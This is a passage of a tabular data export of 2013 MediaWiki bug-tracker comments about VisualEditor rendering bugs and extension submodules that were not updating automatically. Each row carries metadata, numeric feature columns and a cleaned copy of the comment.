Of course, that won't catch anything that hasn't had a commit since being broken, if such a state is possible. If you want to see info on the actual commits, BTW, you can change 'echo $m' in there to something like 'echo -e ""$m\n  $A\n  $B""'.",,,1371841158,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,2,False,,,-2,,0.3333333333333333,1.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,2.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,5.0,8.333333333333334,1.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,4.666666666666667,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,11.666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,2.6666666666666665,11.333333333333334,1.6666666666666667,1.0,5.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.3333333333333333,1.0,0.0,1.6666666666666667,8.333333333333334,7.0,0.0,4.333333333333333,0.0,1.6666666666666667,0.0,1.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.8779342723004695,0.7484238765928907,"So VisualEditor was fixed with some manual database poking, and a number of the others seem to have been fixed too. Thanks ^demon!

On the other hand, a number of others seem to be newly broken. The current list is: AutoCreateCategoryPages Bootstrap Campaigns CirrusSearch CommunityTwitter CoreEvents EImage Less OpenStreetMapSlippyMap PerPageLicense QuickResponse TimelineTable WikibaseDataModel WikibaseQueryEngine


If you have a fully checked-out version of mediawiki/extensions (git pull && git submodule update --init --recursive), this bash script should tell you the submodules that aren't at master:

  for m in CODE; do (
      cd $m;
      A=CODE;
      B=CODE;
      [ ""$A"" = ""$B"" ] || echo $m
  ); done

Of course, that won't catch anything that hasn't had a commit since being broken, if such a state is possible. If you want to see info on the actual commits, BTW, you can change 'echo $m' in there to something like 'echo -e ""$m\n  $A\n  $B""'."
226310,Various submodules in mediawiki/extensions are not being automatically updated,"(In reply to comment #0)
> For example, let's take the message
> Visualeditor-linkinspector-suggest-matching-page:

That one arrived.

(In reply to comment #2)
> Also, I did some further checking and found some other submodules also
> affected. The full list is: EImage MagicNoCache MyVariables
> NamespaceRelations
> OpenStreetMapSlippyMap PHPExcel PerPageLicense TimelineTable VisualEditor

I don't know if it's related, but the most obvious place where I saw recent changes being unreported is https://github.com/wikimedia/mediawiki-extensions which at some point reported a bunch of extensions as last edited ""6 months ago"" when they obviously weren't.",,,1371066634,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,2,True,,,-3,,1.0,0.0,0.0,1.0,2.0,4.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,10.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,15.0,4.0,1.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,5.0,10.0,2.0,0.0,2.0,0.0,5.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,3.4074074074074074,0.7160493827160493,"(In reply to comment #0)
QUOTE
QUOTE

That one arrived.

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

I don't know if it's related, but the most obvious place where I saw recent changes being unreported is URL which at some point reported a bunch of extensions as last edited ""6 months ago"" when they obviously weren't."
226304,Various submodules in mediawiki/extensions are not being automatically updated,"(In reply to comment #1)
> 
> We'll see if Gerrit change #65818 (manually updating the submodule to master)
> will convince the automatic updating to start working again.

It didn't.

Also, I did some further checking and found some other submodules also affected. The full list is: EImage MagicNoCache MyVariables NamespaceRelations OpenStreetMapSlippyMap PHPExcel PerPageLicense TimelineTable VisualEditor

It'll probably take someone either checking Gerrit's logs or digging through Gerrit's code to find out what exactly is making it not update these modules.",,,1369937612,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,1,False,,,-5,,3.0,1.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,8.0,6.0,1.0,3.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,25.0,0.0,4.0,5.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,6.0,6.0,14.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,4.822784810126582,0.7974683544303798,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

It didn't.

Also, I did some further checking and found some other submodules also affected. The full list is: EImage MagicNoCache MyVariables NamespaceRelations OpenStreetMapSlippyMap PHPExcel PerPageLicense TimelineTable VisualEditor

It'll probably take someone either checking Gerrit's logs or digging through Gerrit's code to find out what exactly is making it not update these modules."
226296,Various submodules in mediawiki/extensions are not being automatically updated,"The problem seems to be that the VisualEditor submodule in mediawiki/extensions hasn't been being automatically updated for some reason.

We'll see if gerrit change 65818 (manually updating the submodule to master) will convince the automatic updating to start working again.",,,1369755874,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,1,False,,,-5,,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,6.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,14.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.836734693877551,0.8571428571428571,"The problem seems to be that the VisualEditor submodule in mediawiki/extensions hasn't been being automatically updated for some reason.

We'll see if gerrit change 65818 (manually updating the submodule to master) will convince the automatic updating to start working again."
50669,"VisualEditor misrepresents linked files as embedded inline, when editing","**Author:** `swalling`

**Description:**
Placing a colon before a File: link in MediaWiki should link to the file, without displaying it in the page. While VisualEditor correctly represents this text in read-mode, when it editing it displays thumbnails for the linked images instead of the link and text. (Screenshots of the error and associated markup to be attached.)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1369114380,1369114571.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6nrh4cee4ez6cwykweo5,task_description,resolved,True,c1,1,False,False,True,-6,,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,12.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,12.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,3.0,0.0,0.0,0.0,4.010526315789473,0.6105263157894737,"**Author:** CODE

**Description:**
Placing a colon before a File: link in MediaWiki should link to the file, without displaying it in the page. While VisualEditor correctly represents this text in read-mode, when it editing it displays thumbnails for the linked images instead of the link and text. (Screenshots of the error and associated markup to be attached.)

--------------------------
**Version**: unspecified
**Severity**: normal"
212529,"VisualEditor misrepresents linked files as embedded inline, when editing","

*** This bug has been marked as a duplicate of bug 48387 ***",,,1369114571,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6nrh4cee4ez6cwykweo5,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48387 ***"
212525,"VisualEditor misrepresents linked files as embedded inline, when editing","**swalling** wrote:

Screenshot of markup

**Attached**: {F10438}",,,1369114456,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6nrh4cee4ez6cwykweo5,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9047619047619047,0.5714285714285714,"**swalling** wrote:

Screenshot of markup

**Attached**: {F10438}"
212519,"VisualEditor misrepresents linked files as embedded inline, when editing","**swalling** wrote:

Edit mode, with incorrect thumbnails

**Attached**: {F10437}",,,1369114431,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6nrh4cee4ez6cwykweo5,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.625,"**swalling** wrote:

Edit mode, with incorrect thumbnails

**Attached**: {F10437}"
50658,Enable section-editing on 'beta' profile of VisualEditor deployments,"(This is only for action in the immediate run-up to VisualEditor deployment as beta.)

The section edit links should point to VE rather than the wikitext editor as part of the 'being the default editor' schtick. This should only apply to wikis with VE on 'beta' rather than remaining on 'alpha'.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1369078800,1371169125.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4ottk5yqyncneqh7goju,task_description,resolved,True,c1,1,True,False,True,-6,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.8313253012048194,0.6144578313253012,"(This is only for action in the immediate run-up to VisualEditor deployment as beta.)

The section edit links should point to VE rather than the wikitext editor as part of the 'being the default editor' schtick. This should only apply to wikis with VE on 'beta' rather than remaining on 'alpha'.

--------------------------
**Version**: unspecified
**Severity**: normal"
211833,Enable section-editing on 'beta' profile of VisualEditor deployments,Done today.,,,1371169125,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4ottk5yqyncneqh7goju,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Done today.
50645,MediaWiki:Visualeditor-feedback-link doesn't use wiki language,"Feedback gets submitted to a page given by the message MediaWiki:Visualeditor-feedback-link. The link can differ from language to language.
But feedback gets submitted to the link for the user-chosen interface language, not the wiki/content language and so hitting different pages.

ex.:
german interface: https://de.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/R%C3%BCckmeldungen&diff=prev&oldid=118691535
english interface: https://de.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=prev&oldid=118691557

This may apply to other messages as well

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1369067700,1369068249.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-q6etjfxib3te52jrdbqh,task_description,resolved,True,c1,1,False,False,True,-6,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,7.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.125,0.5833333333333334,"Feedback gets submitted to a page given by the message MediaWiki:Visualeditor-feedback-link. The link can differ from language to language.
But feedback gets submitted to the link for the user-chosen interface language, not the wiki/content language and so hitting different pages.

ex.:
german interface: URL
english interface: URL

This may apply to other messages as well

--------------------------
**Version**: unspecified
**Severity**: minor"
211099,MediaWiki:Visualeditor-feedback-link doesn't use wiki language,"

*** This bug has been marked as a duplicate of bug 47730 ***",,,1369068249,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q6etjfxib3te52jrdbqh,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47730 ***"
50596,VisualEditor expanding image links,"Screenshot of the English Wikipedia using VisualEditor, 2013-05-18

VisualEditor seems to be expanding certain image links. Screenshot attached.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11087}",Needs Triage,90.0,1368849600,1368979809.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-f54j3i3yobgyvswaikfo,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.12962962962963,0.6296296296296297,"Screenshot of the English Wikipedia using VisualEditor, 2013-05-18

VisualEditor seems to be expanding certain image links. Screenshot attached.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11087}"
233284,VisualEditor expanding image links,"

*** This bug has been marked as a duplicate of bug 48387 ***",,,1368979809,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f54j3i3yobgyvswaikfo,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48387 ***"
50558,"VisualEditor: API doesn't suggest thinks for string length <= 2, so don't show the suggestions box for links/categories/etc.?","Not sure how to proceed on this one.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1368746160,1368747382.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-a6xscw7mjvhcbwgufh5y,task_description,invalid,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.925925925925926,0.6666666666666666,"Not sure how to proceed on this one.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
230862,"VisualEditor: API doesn't suggest thinks for string length <= 2, so don't show the suggestions box for links/categories/etc.?",Apparently it does and MW was just being unhelpful. Ignore.,,,1368747382,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-a6xscw7mjvhcbwgufh5y,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9166666666666666,Apparently it does and MW was just being unhelpful. Ignore.
50527,List looks like it has extra empty lines,"1. Edit http://en.wikipedia.org/wiki/Refrigerator
2. Look at the list in paragraph ""Production by country""

The list has extra empty lines, some with a bullet, some without.

The saved wikicode is OK, though.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1368684120,1369080566.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-zfww4nd7axazvbfkd7qj,task_description,invalid,True,c1,1,False,False,True,-7,,3.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,3.5245901639344264,0.6557377049180327,"1. Edit URL
2. Look at the list in paragraph ""Production by country""

The list has extra empty lines, some with a bullet, some without.

The saved wikicode is OK, though.

--------------------------
**Version**: unspecified
**Severity**: normal"
229016,List looks like it has extra empty lines,"Oh, I see, my bad, I should have checked the wikicode! :-)",,,1369104667,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-zfww4nd7axazvbfkd7qj,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9375,0.8125,"Oh, I see, my bad, I should have checked the wikicode! :-)"
229011,List looks like it has extra empty lines,"This is not a bug; the actual wikitext of the article has multiple lists with (admittedly hard-to-notice) gaps between them:

> […]
> *20 South Africa	 	711,000<ref name=""statinfo.biz""/> (2003)
> *21 Sweden	 	639,000<ref name=""statinfo.biz""/> (2004)
> 
> *22 Ukraine	 	562,000<ref name=""statinfo.biz""/> (1995)
> *23 France	 	544,000<ref name=""statinfo.biz""/> (2003)
> *24 Australia	 	423,000<ref name=""statinfo.biz""/> (1995)
> 
> *25	Portugal	 	399,000<ref name=""statinfo.biz""/>	(2004)	
> *26	Bulgaria	 	353,000<ref name=""statinfo.biz""/>	(2005)
> […]

In VisualEditor these gaps between lists are much more prominent because we need to give the user somewhere obvious to insert their cursor, but this is ""behaviour as expected"". Closing as INVALID.

(BTW, I just went and fixed the wikitext in a personal capacity, because it was so awful. :-))",,,1369080566,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zfww4nd7axazvbfkd7qj,task_subcomment,,True,c1,1,True,,,-6,,1.0,0.0,0.0,0.0,0.5,5.0,1.5,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,5.5,9.5,0.0,2.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.5,2.0,2.0,6.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.5,7.0,0.0,2.0,0.0,4.0,0.0,0.0,1.5,0.5,1.0,1.0,0.0,0.0,3.766883116883117,0.7038961038961038,"This is not a bug; the actual wikitext of the article has multiple lists with (admittedly hard-to-notice) gaps between them:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

In VisualEditor these gaps between lists are much more prominent because we need to give the user somewhere obvious to insert their cursor, but this is ""behaviour as expected"". Closing as INVALID.

(BTW, I just went and fixed the wikitext in a personal capacity, because it was so awful. :-))"
50523,Parsoid: Expose order of template parameters call,"VisualEditor is currently unable to display the parameters in the template editor in the same order as the wikitext because they are provided as a plain object.

And per the JSON specification (and as proven by inconsistent behaviour in different browsers), objects are ""an unordered set of name/value pairs""[1].

And even if JSON would support it, once in javascript, we have the for-in statement and Object.keys() which do not have a reliable cross-browser logic for the order of the keys.

Though Parsoid is able to roundtrip the order (since it has the original wikitext and can put them in the right order), we can't.

I'd recommend the output is updated to output an array of some kind.

So instead of :
 { foo: bar, bar: quux }

It'd be something like this:

 [ { foo: bar }, { bar: quux } ]

or (Trevor's idea):

 { keys: ['foo', 'bar'], values: ['bar', 'quux' ] }


[1] http://json.org/

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1368662520,1368662919.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-a6lxhzu2xrx5tgje6umc,task_description,declined,True,c1,1,True,False,True,-7,,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,6.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.3333333333333335,4.333333333333333,0.0,0.0,0.0,1.0,0.0,2.6666666666666665,8.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,2.6666666666666665,0.0,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.333333333333333,2.0,5.333333333333333,1.3333333333333333,2.0,6.333333333333333,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,2.6666666666666665,8.0,2.6666666666666665,0.0,3.6666666666666665,0.0,2.6666666666666665,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.0,3.385390295358649,0.6477320675105485,"VisualEditor is currently unable to display the parameters in the template editor in the same order as the wikitext because they 